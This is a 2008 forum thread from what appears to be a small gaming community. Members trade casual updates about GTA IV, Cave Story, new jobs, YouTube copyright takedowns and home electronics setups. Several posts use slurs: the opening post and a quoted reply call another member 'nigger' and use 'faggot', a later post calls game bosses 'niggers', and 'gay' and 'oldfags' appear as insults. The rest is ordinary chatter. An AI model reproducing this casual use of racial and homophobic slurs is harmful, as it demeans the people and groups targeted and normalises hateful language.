HEY FAGGOT HIGH TEMPLAR, SURE YOU CAN KILL NEARLY 20 HYDRALISKS IN A SINGLE PSY STORM, BUT I HAVE 30 MORE ON YOUR ASS AFTER YOU RUN OUT OF YOUR FAG PSI ENERGY!

ps: bob, get an avatar you nigger
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on April 28, 2008, 08:44:27 PM
So who else is going at midnight to get gta? :D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 28, 2008, 09:04:07 PM
So who else is going at midnight to get gta? :D

Fuck you, my 360's dead. :(
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 28, 2008, 09:08:38 PM
im $20.00 short, so no gta for me

also HERO MEMBER BEETCHES
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Shoop Da Whoop on April 28, 2008, 09:33:05 PM
So who else is going at midnight to get gta? :D

i've been playing it lol, my tree 60 is modded and I can play burnt games.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 28, 2008, 11:25:23 PM
that little faggot in my avatar turned me bi, hence the kinsey scale link a few pages back    RRRAAGGGGEEEEeEEee
ps: bob, get an avatar you nigger

No.
You mean Bridgett didn't? Join the club, lol. Yes, I'm pretty much as messed up as you are. Thank god we can let people on the internet know. I'm pretty sure neither of us would even consider telling our real life friends, lol.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on April 29, 2008, 12:28:42 AM
My "official" search for Graduate schools has begun.  Wish me luck!!  ;D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 29, 2008, 12:35:16 AM
No.
You mean Bridgett didn't? Join the club, lol. Yes, I'm pretty much as messed up as you are. Thank god we can let people on the internet know. I'm pretty sure neither of us would even consider telling our real life friends, lol.

so true

something about feminine(not masculine) guys thats fappable.  i could probably go on, but first it would be weird on my part, second, this forum isn't for such talk, third, i like too much weird shit.  also, lol size 1 font ftw

and, fuck i really want gta4 right now, I WILL GIVE MASSAGE/MAKE LUNCH FOR $20 TO BUY GTA4!

ps: good luck sir cristian!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 29, 2008, 01:14:48 AM
Agreed vlad.

And the reason I'm not getting an avatar, by the way, is because I tend to get known for that. It took me ages to get one on the old s.net incarnations, and I still don't have one on every other forum I'm a member of. I'm a bit of a lazy bastard about it :P

Plus, it's what I'm known for. I'm alway the guy who've been a member forever and posts semi-regularly (or very heavily, in the case of s.net) but refuses to get an avatar.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on April 29, 2008, 02:04:04 AM
I'm picking up GTA4 in the morning. I've got Mario Kart Wii to play. The people that say the wheel sucks are SO WRONG. I wouldn't have a 90% win ratio if it didn't work. Best Mario Kart ever.

Also, The World Ends With You is an EXCELLENT DS game. Very original, very fun and very...hip? The story's excellent.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 29, 2008, 10:08:59 PM
i may be getting gta 4 tomorrow, i really can't fucking wait to pick up this game.

ohh and i shaved my face with an electric razor, umm kind of tore up my upper neck area, not too fun. 

least my chin feels like sandpaper now, and lets hope the next goatee i grow isn't made of stubble and fail!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 29, 2008, 10:44:31 PM
I'm picking up GTA4 in the morning. I've got Mario Kart Wii to play. The people that say the wheel sucks are SO WRONG. I wouldn't have a 90% win ratio if it didn't work. Best Mario Kart ever.

Really? I played the Game cube on and didn't think it was such hot stuff. How's this one?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on April 29, 2008, 11:15:44 PM

ps: good luck sir cristian!

Thanks... my deadlines arent until this december but it already seems overwhelming.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Shoop Da Whoop on April 29, 2008, 11:54:40 PM
Really? I played the Game cube on and didn't think it was such hot stuff. How's this one?

motorcycles dawg, you get fucking motorcycles
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Ulti on April 30, 2008, 01:41:59 AM
I hear GTA4 is nothing short of incredible. I really wish they'd release this stuff for PC >: |
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 30, 2008, 03:37:02 AM
I really wish they'd release this stuff for PC >: |

its rockstar, they will port it to pc eventually.

Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 30, 2008, 07:07:35 AM
I love living in Odenton.  Newegg seems to like shipping things out of New Jersey so I pretty much get everything within a day or two, ground.

Case in point: I ordered a DVD burner on Monday evening.  It shipped Tuesday morning and already got to the Laurel, MD, distribution office.  I will have it installed in my computer tonight.  Holy shit.

What's sad is that if I sprung for the $38490.99 next day air option I wouldn't have gotten the product any sooner.  And, just to reiterate, I used the cheapest available ground shipping.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on April 30, 2008, 07:22:12 AM
$38490.99

wait wtf

also, 4 days till b-day
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 30, 2008, 07:25:24 AM
Hey, that overnight shipping is expensive. 8)

Also, happy almost-your-birthday!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: jinxie on April 30, 2008, 10:31:02 AM
ugh my day started on a bad foot. A old broken decrepit one at that.

my boss basically said she didnt tell me something which made me look like I was skipping out on work.

(to be specific that I was supposed to be doing night mail, but a week ago she told me to NOT WORRY ABOUT IT and that she'd get someone else to do it since I had to go do Cashier work.)

-------O--------------------------------------------

ffs.

I do what I am supposed to and I get in trouble. fucking hell D:
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on April 30, 2008, 04:12:38 PM
(to be specific that I was supposed to be doing night mail, but a week ago she told me to NOT WORRY ABOUT IT and that she'd get someone else to do it since I had to go do Cashier work.)

What a moron, also I passed math, woot.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on April 30, 2008, 05:08:50 PM
WOO I GOTS A JORB!

To clarify: I've got a job doing night stuff at the local Zhers/Superstore. They're closed in the night, so we just do inventory and stuff. Plus, I start making 9.75 instead of the normal 8.75 because I'm working nights. The shift is 11PM to 7 AM.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on April 30, 2008, 08:14:37 PM
(to be specific that I was supposed to be doing night mail, but a week ago she told me to NOT WORRY ABOUT IT and that she'd get someone else to do it since I had to go do Cashier work.)

What the hell... :|

I presume you told her manager about that?

WOO I GOTS A JORB!

Sheesh, finally. :P

Congrats!  Now save up for TwoDix.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on April 30, 2008, 10:28:32 PM
WOO I GOTS A JORB!

lucky bastard, now i really need to work on getting a jerb.

on the flip side, i have gta 4, and yes, its good.

basically if you like gta, its a crime not to play this.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 01, 2008, 01:39:05 AM
its rockstar, they will port it to pc eventually.

They announced they had no plans for it, so it would probably take a while. Kind of like Capcom and Nintendo.

Also I played CTR for like 4 hours today, shit was awesome. Also army of 2 is a lulzy game.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 01, 2008, 02:33:35 AM
It always takes them a year (or more) but they've been good about doing it thus far.  They usually make it worth it, too.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 01, 2008, 08:28:45 AM
I feel like ass D:

Fucking vodka.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: jinxie on May 01, 2008, 11:03:21 AM
I presume you told her manager about that?
No, but I did find out that she does this a lot to the younger employees from the guy that I do cashier with.  Apparently she'll blame anyone so that it's not her fault.  Oh well.   this place doesn't really pay me enough for me to stay here for like, a career or anything. rofl
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on May 01, 2008, 06:43:01 PM
PSP post. I love this thing.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 01, 2008, 07:28:21 PM
this is kind of funny

i was having problems with the "final destination" mission

so i try it for the fourth time, and i end up shooting up the car before the bastard takes off, killing him, and preventing an annoying chase scene with cops on my ass.

yay for uzis.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on May 01, 2008, 08:02:58 PM
In some cases you can't actually kill the guy running away. The whole thing is scripted until he gets to the end of the chase. It's sort of dumb.

The game's really good but it is absolutely ridiculous that they haven't added in mid-mission checkpoints by this point.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on May 01, 2008, 09:38:30 PM
Yay for getting coke for Elizabeta [~27%], REALLY interesting story stuff here, won't spoil it.


also, going to the RUSH concert tonight :D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on May 01, 2008, 09:54:21 PM
Also, The World Ends With You is an EXCELLENT DS game. Very original, very fun and very...hip? The story's excellent.

I read about that in Nintendo Power, been meaning to go pick it up. It looks fantastic. One of the few games I'm actually willing to buy as of late.

Oh, by the way, sup guys. Been gone for a while cause I reformatted my C: drive and my computer was in a vegetative state for a few days. Now it runs like sex and I'm proud to have XP again. Hooray.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on May 02, 2008, 03:18:16 AM
I'm proud to have XP

Me too. Vista.... >:| . But Freebsd + [desktop environment] will be my next flavor soon. Real soon. :D XP Will be my last installation of windows. Well, unless Vista sees some serious light.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 02, 2008, 04:20:53 PM
this is kind of funny

i was having problems with the "final destination" mission

I really should have laughed at the "FINAL DESTUNATION" part.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on May 02, 2008, 05:20:18 PM
I was playing that mission and accidentally walked in the street and got hit by a bus.

/irony
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 02, 2008, 06:43:16 PM
I was playing that mission and accidentally walked in the street and got hit by a bus.

/irony

ive died like that before

load my save, walk in the street to get a car...get hit by car...die

not all drivers stop for you D:
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 03, 2008, 02:22:59 AM
Man, shit's coming together this week. I got a conditional acceptance (which I'm in the process of getting what I need for a full acceptance) at Georgian College, I got my G2 (and I did the test hung over, at that!), and I got a job. All within a week's time.

Fucking A. Seriously, how the hell did this happen?

The only part that sucked was that the hangover is probably the worst one I've ever had (I still felt a bit sick at 3:30 AM the next night.)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 03, 2008, 06:37:49 AM
Awww...my 10-year-old LG DVD-ROM drive died. :(

Oh well.  You could probably get about five or six DVD±RW DL drives for what that thing cost when it was new (I just picked up a Toshiba/Samsung 20x DVD±RW DL drive for $25, after all), so it's not a huge deal.  Even so, it's sort of strange for me; that drive saw me through five computers (a total of seven motherboards!) so it's definitely going to be weird not having it.

Also, Iron Man rocks.

And congratulations, Boobids. :)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 03, 2008, 01:54:54 PM
Lol, I start Tuesday, 11 PM.

Man, that company has a lot of benefits and stuff. It's part of the gigantic Loblaw corporation, which is apparently the second largest employer in all of Canada. They've got a ton of benefits, financial stuff, and shit. I was kinda surprised.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 03, 2008, 03:47:52 PM
Nicely done, glad to see you gettin an education.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 03, 2008, 05:14:18 PM
WHAT DA FUK.

So I got a DVD burner from Target (at horribly inflated prices...but oh well, I kinda needed it) to replace my bad DVD-ROM and what happens?  I GET THE EXACT SAME FUGGIN DVD WRITER THAT I JUST BOUGHT.

So now I have two TSST SH-S202J DL DVD±RW drives.  Now the question is, do I move both of them to my new system or keep it as-is (i.e. LITE-ON + TSST in my new system, TSST in my old one)?  Meh, too much work.  It's fine how it is.

Also, whatchu going to do there, Bobbs?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on May 03, 2008, 05:22:51 PM
Does youtube downsize or degrade videos? I've tried uploading a higher quality Divx but it looked like the first one I had up there. So I deleted the 'new' one and renamed the file since it was exactly the same as the first. Hopefully this fixes it :( I don't want it to be all pixelated and shit
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 03, 2008, 05:54:00 PM
Yeah, YouTube knocks down the quality to make them more streamable.

In some cases it'll give an option for a higher quality movie but that depends on the codec that you use.  I saved and uploaded my MAX 300 video in Windows Media format and it allows for a higher quality mode, while my Portal video, which is in XviD, doesn't.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on May 03, 2008, 10:19:13 PM
Just got back from seeing Harold and Kumar. Kickass movie, it was hilarious. Saw it with my girlfriend and her parents-- they liked it a lot too, haha.

Also, just picked up The World Ends With You. Gonna start playing it, will report back on its level of amazing real soon.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on May 04, 2008, 02:57:10 PM
Oh man, I forgot. Yesterday = HPBDAY2ME.

taking the test for my permit on Thursday
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on May 04, 2008, 03:01:15 PM
hbd

So I saw Iron Man on friday. It was awesome.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on May 04, 2008, 04:53:18 PM
Error 500 - Internal server error

An internal server error has occured!
Please try again later.


lolololol
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on May 04, 2008, 10:03:12 PM
Iron Man is very possibly the best superhero movie made so far. Robert Downey Jr. is the perfect Tony Stark, down to the goatee. The second movie should hopefully follow Stark's alcoholism and have him accidentally killing an innocent, having Rhodie get the War Machine armor and then having Rhodie get taken over by the armor, leading to Stark stepping up to face him.

Also, the scene after the credits gave me a nerdgasm.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 04, 2008, 11:50:48 PM
...http://www.vgcats.com/comics/?strip_id=262 (http://www.vgcats.com/comics/?strip_id=262)

DISTURBING.

I'll never be able to look at Pearl the same way ever again...
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 05, 2008, 02:06:50 AM
im confused, after downloading a file at 230ish kb/s i decided to do another speedtest.net run.

(http://www.speedtest.net/result/267496953.png) (http://www.speedtest.net)

where did this come from?  did my internet decide to be gay for the first week, then it decided to speed up?  or is it just teasing me?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on May 05, 2008, 06:51:07 AM
I finally (nearly) completed my bedroom networking system thingy. I connected my computer, server, stereo, SNES, N64, input selector, TV, UPS, and RF modulator together.

Here's a diagram:

  ,----------------------------------------------,
 |   Server                                                      \
 |    |    |                    N64       SNES           RF Modulator
 |    |    |                        \          |                     |
 |    |    UPS                      Input Selector--------TV
 |    |    |  | \_______             |         |
 |    |    |   \            \            |          |
  '-Compy---Mon. 1  Mon. 2     |       Stereo
    |    |                     |        |
    |     '---------------'        |
     '-------------------------'

After my S-video to composite video coupler comes in from Amazon (thanks spec!), I'm going to return the RF modulator and run the composite out to the input selector.  nVidia, best buy, and radioshack wanted over $25 for the part.. Which only cost $1.50 on amazon.. Go figure. I even called a Radioshack in another town, and while they said they didnt have the coupler, they had a 6' cabled version of it, and that it was $47. I seriously just started laughing when he told me. I couldn't believe it.

So anyway, the input selector is very much like your traditional RCA pick-your-input-and-play type of deal... It even allows for HD inputs, s-video, and RCA. What's better than that, is that it autodetects what is receiving signal and tunes to that input automatically. It works extremely well, much to my surprise. Turn on the tv, and turn on the SNES.. BOOM! Power rangers on the screen. Turn it off, turn on the N64.. BAM! Pokemon stadium. Hoorah. Only $20 bucks IIRC, not a bad deal at all.

Oh! Another thing I'm hellaciously excited about is my old computer being hooked up to my newer one. Only things plugged into it is a Cat5 cable and a power cord. That's all. Freaking awesome. Soon, I'll put in a wireless card, and just stick it in a corner of the house somewhere. I use remote desktop, fullscreen it to the other monitor, and it's like true love. :3

Okay, I'm done talking about it. It's just finally fucking done and I just wanted to share my joy in finally getting so many electronic things to work together so well (which is surprisingly not an easy thing to do).

Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 05, 2008, 08:15:09 AM
Yeah, that's one monster setup you got there. I R ENVIOUS >:E
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on May 05, 2008, 08:19:17 AM
Woke up mad late this morning, I'm definitely not going to school until after 3rd period now. Pretty sweet, I didn't do an AP History practice test over the weekend (which we're turning in for 60 points) so now I actually get a chance to 8)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 05, 2008, 09:16:30 AM
I haven't slept yet. I had to drive my brother to school, and now I've got to bring my Social Insurance Number and a direct deposit slip from my bank over to my job, because I was missing them on Saturday. I also have to check and make sure I know when I start. It's either Tuesday, or Thursday, and I'm thinking it's Thursday, but I really don't know.

I'm gonna feel like shit tomorrow, I should already be asleep.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on May 05, 2008, 12:05:42 PM
I finally got about 8 hours of sleep last night because I finished the story to GTA.  Sleep = good. I forgot how nice it makes you feel after about a week of going to bed at 4 am and waking up at 10 or 11.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: jinxie on May 05, 2008, 12:26:23 PM
I finally got about 8 hours of sleep last night because I finished the story to GTA.  Sleep = good. I forgot how nice it makes you feel after about a week of going to bed at 4 am and waking up at 10 or 11.

sounds like me a couple of weeks ago.

now I have the sleep schedule of an old woman.

I go to work at 9 so I go to bed about midnight.
and apparently during the weekends i go to bed at midnight, wake up at about 11:30 and then TAKE A 4 HOUR NAP from 5-9 (BOTH SAT AND SUN).

DAY WASTE GET?

D:

Maybe I should be taking vitamins or something.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 05, 2008, 12:33:51 PM
well internets is being awesome now, i haven't sleeped in a while, and only oldfags will remember this image.

(http://img232.imageshack.us/img232/8356/p17611w8gs0nk0.jpg)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 05, 2008, 01:02:56 PM
Took my final final (hurrr) today. Also found out I got a 100 on my writing assignment for the same class, which is ind of funny considering I thought it was so meh.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on May 05, 2008, 05:01:40 PM
I figured it was time for an avatar change.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: notHiro on May 05, 2008, 06:34:36 PM
well internets is being awesome now, i haven't sleeped in a while, and only oldfags will remember this image.

snoop.img

lol is it sad that I do?

Anyway, GTA4 is fucking amazing. I'm seriously considering dropping a lot of money on a 360 now because of it (and of course shit like Dead Rising and NHL 08 others) but at the same time I just don't have the money or time to get involved with it. Fuck life was so much easier when all I had to spend money on was video games.

Anyway, I'm going to start Persona 3 FES soon because I've heard so many good things about it. I'm starting it a week before finals too which isn't the smartest choice I've ever made but fuck it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on May 05, 2008, 08:01:19 PM
(http://img232.imageshack.us/img232/8356/p17611w8gs0nk0.jpg)

lol

that thread was retarded
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on May 05, 2008, 11:05:14 PM
I just paid $220 in student loans this month... :'( :'(
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 06, 2008, 12:49:51 AM
Ouch.

I've got an odd sleep schedule. Well, not quite, but my sleep schedule SHOULD be something like this once I start work:

Wake up around 3 PM, go to work at 11 PM till 6:30 AM or 7:30 AM, sleep till 3 PM, repeat. The reason for this, instead of something where I go to work in the "morning" is because a friend wants to have a D&D campaign going this summer, and he thinks it should be around Mondays starting at 4 PM or so.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on May 06, 2008, 02:29:50 AM
I just paid $220 in student loans this month... :'( :'(

student loans are a bitch... My girlfriend pays close to $700/mo on those little shits. :[
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on May 06, 2008, 10:14:45 PM
The BC Calculus AP exam is tomorrow morning. Woohoo.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on May 06, 2008, 11:38:01 PM
Anyway, GTA4 is fucking amazing. I'm seriously considering dropping a lot of money on a 360 now because of it (and of course shit like Dead Rising and NHL 08 others) but at the same time I just don't have the money or time to get involved with it. Fuck life was so much easier when all I had to spend money on was video games.

I agree completely. I used to only buy games, and only care about games, and now it's quite the opposite. I'm glad like 90% of my friends have 360s, though, so I  think I'm gonna start mooching off their GTA4's and such.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 06, 2008, 11:40:00 PM
I finally (nearly) completed my bedroom networking system thingy. I connected my computer, server, stereo, SNES, N64, input selector, TV, UPS, and RF modulator together.

Whoa, nice.

Then there's my pussy little 13" TV.  In its prime I had cable, a SEGA Master System, a Genesis, a SNES, an N64, a PS2, an Xbox, a GameCube, a Saturn, and a Dreamcast all connected to it.  The blob of wires was physically larger than the TV itself (composite for everything but the SMS and Genesis, which were on SEGA RF modulators).  Fun!

I had my older computer alone for a week or so as well, so that I could transfer data off of it, onto my new one.  It proved to be a nice slave, and Windows took surprisingly well to the system booting with no optical drives and one hard drive less quite well.  When I needed to go to the desktop I just used remote desktop.  Quite nice!

Now I have it connected to a little Dell 17" CRT, sitting on a fold-up TV tray.  I'm using my Logitech Elite keyboard for it, with a Logitech ball mouse connected to the PS/2 port (with the tower itself being a mouse pad...heh).  I really need to pick up a new mouse for it (I'll probably pick up a new Logitech G5 -- the one that actually adds the forward button back in and hopefully that has a scroll wheel that isn't shit -- and use my old G5 on this one).

SPEAKING OF MY OLDER SYSTEM, I'm currently using it to mess with operating systems.  I installed Ubuntu on it and...damn, when did Linux become this bloody easy?  For that matter, when did Linux become this brown?  Oi...ah well, themes can always be changed. :)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 07, 2008, 07:45:04 AM
FIRST DAY OF WORK GET

Yes, that's right, I just finished my first day of work...

My feet fucking hurt. And my back is stuff. And tonight was a slow night. And tomorrow is the biggest delivery of the week.
:/
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Shoop Da Whoop on May 08, 2008, 12:44:09 AM
you actually get used to bending over and picking up things off the ground fairly fast, or I did at least. I worked at a fucking convention center last summer, I just walked around a swept things up for 10 hours strait. I only got one 15 minutes break, and I could not sit down the entire shift. My feet fucking hurt to say the least.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 08, 2008, 02:14:42 AM
So I just downloaded Cave story. Good game is damn good, there really needs to be more castelvania/metroid games.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 08, 2008, 02:41:01 AM
cave story was pretty fun up to when you get to the ending hell gauntlet.  its pretty damn difficult.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 08, 2008, 06:48:30 AM
you actually get used to bending over and picking up things off the ground fairly fast, or I did at least. I worked at a fucking convention center last summer, I just walked around a swept things up for 10 hours strait. I only got one 15 minutes break, and I could not sit down the entire shift. My feet fucking hurt to say the least.

Yeah, well, when you're bent over trying to grab something way at the back and pull it to the front to "face" things, if you've to a whole long row of stuff to do like that, it can get bad onyour back. I need some fucking Dr Scholles pads or some shit, because my feet are fucking killing me.

Also, I got to bring home some Baby Back Ribs flavored chips. They weren't carrying them any more, so we just brought them home :P
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 08, 2008, 04:23:16 PM
cave story was pretty fun up to when you get to the ending hell gauntlet.  its pretty damn difficult.

I'm already getting raped by these 2 dragon bosses, shit's hard.

Never mind, niggers ate sum rockets and went down.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on May 08, 2008, 09:07:00 PM
I GOT MY PERMIT
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 09, 2008, 01:24:08 AM
Cave story FUKKEN BEATEN. Also GOD DAMN that was a depressing ending, I'm assuming everyone who wasn't on that chopper/dragon died?



Oh fuck, I completely missed this. Now I gatta fight those 4 BOSS FIGHTS AGAIN, FUUUUUUUUUUUUUUUUUCK.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 09, 2008, 04:27:16 PM
I GOT MY PERMIT

people drive in da bronx?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on May 09, 2008, 09:31:15 PM
Yes. It's in Manhattan where no one drives.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 09, 2008, 10:30:46 PM
also, why won't my avatar change? 

i mean, i tried clicking the no image option, then uploading a new avatar off site, and i get this avatar.  i also try uploading it, and i get my current avatar still.

unless spectere haxored the site to make this avatar permanent unless i select the no avatar option, im stuck with it. 

(http://img119.imageshack.us/img119/6711/hydravnf3.jpg)

but i guess ill keep rio till that problem is fixed.  but i mean, after a few weeks to a month, i just get the urge to change my avatar for some reason.  strange, being in all 2000 of my posts on arch0wl.com and the two or so years ive posted there, i had one avatar(ok, unless you count THE VERY BEGINNING before the "lords of the fingerdance" competition was cancelled beginning, i had an alucard avatar, but that was like fuckin' september 2004), save for one period of a few weeks where i shopped that avatar on the snoop dogg image i linked a page or two back.

(http://img257.imageshack.us/img257/2407/bassvoxforumnewxk1.gif)

(http://img257.imageshack.us/img257/9610/snoppgdedit1gn3.jpg)

to note, the original avatar size was 80x80, but i uploaded the 120x120 to keep the size trend going

*edit*

well ill be damned, it finally uploaded
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on May 09, 2008, 11:29:51 PM
Yeah, my weegee one did something similar.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on May 10, 2008, 07:35:12 AM
Well, SMF might only update people's actual images periodically. Or, your computer was using the cache every time, and it finally refreshed the image in the cache.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on May 10, 2008, 03:05:48 PM
I have SMF set to download avatars to s.net and process them.  If there was anything wrong with the image that would prevent gd (I think it uses gd, anyway) from manipulating it, it would reject it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: notHiro on May 10, 2008, 03:07:17 PM
"Bridge Street Run - Bridge Street Run is a pub crawl that takes place during the spring semester the last Friday before finals week starts. Students put on white t-shirts and walk down Bridge Street (State Route 104) in the City of Oswego; stopping at all the bars on the way. The event has been a tradition at SUNY-Oswego for over 30 years."

I did this last night even though I'm 18 and don't have a fake ID, so I couldn't get into any bars. It was fucking amazing. 3000 college kids in white shirts with police everywhere not able to do shit. So many great fucking stories, too. Fuck yeah coolege.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on May 10, 2008, 05:09:51 PM
That happened whenever I uploaded a new avatar. The image changed whenever I cleared the cache, so I'm guessing they're given the same name when uploaded.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on May 10, 2008, 05:43:03 PM
I'm never returning to youtube.  They blocked my video for 'copyright infringement'. I didn't claim ownership, or anything. It was just a video of GTA IV. EVERYBODY else's GTA vids better be fucking taken down, or I call bull shit.

They can fuck themselves

Thanks google, thanks.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on May 10, 2008, 06:55:59 PM
One thing i've done is tried to make the videos as close to legitimate free use as possible. Make it seem educational, like there's some way you need to show something in the game, but the only way to do it is by actually showing the video. Even just a horrible parody is enough to constitute fair use.

In my opinion, youtube is extremely lenient about what you can upload. Profanity isn't even an item on youtube. Think of all of those 9 second clips on youtube that claim to be porn and have millions of views. If you look at the most viewed of all time list, these videos are conveniently off the list... So clearly, youtube has the decency to hide these videos so moms and whoever else don't stumble upon it by mistake (no pun intended), without needing to actually remove the video.

In fact, if I recall correctly, youtube didn't even want to remove videos during the whole Viacom fiasco. They had basically said, "Okay, then sue us." Then, when Viacom finally threatened, youtube told Viacom they had to tell youtube which videos constituted copyright infringement, so they knew which videos to review for removal. Talk about a pain in the ass for Viacom.

TLDR; try fair use, youtube is lenient.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on May 10, 2008, 07:28:28 PM
All GTA IV vids except the promotional trailers were removed. maybe I can disguise it, but I'm too pissed at them now to give a flying shit. I can understand family guy being taken off, but a fucking video game? Jesus christ, like Take 2 games is going to make a 'share your gta clips' website like SKATE did. Yea right. Someone went on a power trip "OMG I HAVE ZE POWAR TO DO DIS LOLS LETS FUCK WITH THEM"

It's not like I'm selling the game here, with TV like I said, it's understandable because people pay to have to to be able to watch things like family guy. People DO purchase games to play them, but you can't "play" a game on youtube if that makes sense.. it's just a demonstration of a way a player went through one of the most exciting missions in the game [3 leaf clover]. And the company wants to take that away from the gamers, then fine, less free advertising for them.

I just get pissed off when companies get like that, like a fucking child going thru the 'everything is MINE' stage of it's life. Metallica/U2 perfect example for the music industry, which is another conversation, same attitude.

I just want take 2 to explain themselves. No harm was being done, no money was being made or profited, no one was being ridiculed or anything. I don't see any reason why that happened..




maybe if I slap a copyright take 2 /rockstar games on the video they'll fuck off
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on May 10, 2008, 08:00:15 PM
Hahahaha... Corporations are hard to please.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on May 10, 2008, 08:54:18 PM
i make this post, on my pc, but not my regular 19 inch lcd monitor (not widescreen). 

i woke up today, and my sister tells me to go to the garage, i have no idea why, and i was about to take a shower.  so my shower gets posponed, and i go to the garage with my dad and my sister....

to keep it short, i can not believe how spoiled i am, i do not fucking deserve this, and i am very greatful. 

so for some reason, my sister and my dad pitch in and got me one of these fucking things. (http://www.vizio.com/products/detail.aspx?pid=30) 

and i guess i have one of these because i am not going to the bahamas with them (the heat there would fucking kill me) and apparently, this big fucking tv is cheaper than if i was to go.  i mean, i still don't understand it, but fuck, this is like awesome, save for the fact people are now going to hate me(i actually have a scarily big feeling that people will get pissy with me due to this).

and diddling around the computer on a 42 inch hdtv is pretty bitchin, save for the fact i lack a long cord to go from tv to pc, a wireless mouse, and a wireless keyboard, and too lazy to hook up the speakers.  so shortly after this is posted, im hooking it back up to the 19 inch.

i really need to win the lottery so i can buy my parents a mansion or something, at the very least i could get my mom a new desktop(ill probably do that several months after i get a job).

